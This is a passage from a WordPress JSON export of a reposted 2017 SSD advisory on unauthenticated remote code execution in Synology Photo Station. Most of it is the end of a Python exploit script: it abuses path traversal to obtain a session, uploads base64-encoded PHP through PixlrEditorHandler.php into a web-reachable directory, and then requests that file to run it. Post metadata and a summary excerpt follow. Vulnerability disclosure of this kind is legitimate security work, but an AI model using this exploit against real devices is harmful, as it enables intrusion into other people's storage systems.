class=\"crayon-p\"># payload = {&#8216;session&#8217;: &#8216;\/..\/..\/..\/..\/..\/var\/services\/photo\/@eaDir\/SYNOPHOTO_THEME_DIR\/photo_custom_preview_logo.png&#8217;}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-25\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-26\"><span class=\"crayon-v\">try_login<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">post<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;{}\/photo\/include\/file_upload.php&#8217;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">synology_ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-27\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-28\"><span class=\"crayon-v\">whichact<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8216;action&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;get_setting&#8217;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-29\"><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">post<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;{}\/photo\/admin\/general_setting.php&#8217;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">synology_ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">whichact<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cookies<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">try_login<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">cookies<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-30\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">text<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-31\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-32\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Upload php file&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-33\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-34\"><span class=\"crayon-v\">c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8216;action&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;save&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;image&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;data:\/\/text\/plain;base64,&#8217;<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">php_to_execute<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">encode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;base64&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;path&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/volume1\/photo\/..\/..\/..\/volume1\/@appstore\/PhotoStation\/photo\/facebook\/exploit&#8217;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">encode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;base64&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;type&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;php&#8217;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-35\"><span class=\"crayon-v\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">post<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;{}\/photo\/PixlrEditorHandler.php&#8217;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">synology_ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">c<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cookies<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">try_login<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">cookies<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-36\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">r<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">text<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-37\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-38\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-39\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[+] Execute payload&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-40\"><span class=\"crayon-v\">f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">requests<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">get<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;{}\/photo\/facebook\/exploit.php&#8217;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">format<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">synology_ip<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5988e7607d33e891195377-41\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5988e7607d33e891195377-42\"><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">text<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0062 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3356\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Mon, 07 Aug 2017 05:23:22 +0000<\/strong><\/p>\n<p>Vulnerability Summary The following advisory describes a Remote Code Execution found in Synology Photo Station versions 6.7.3-3432 and earlier \/ 6.3-2967 and earlier. Personal Photo Station is an online photo album with blog owned and managed by a DSM user. Synology NAS provides the home\/photo folder for you to store photos and videos that you &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3356\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Synology Photo Station Unauthenticated Remote Code Execution<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[11680,11682,10757,12136],"class_list":["post-8614","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-directory-traversal","tag-remote-code-execution","tag-securiteam-secure-disclosure","tag-unauthenticated-action"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/8614","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=8614"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/8614\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=8614"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=8614"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=8614"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}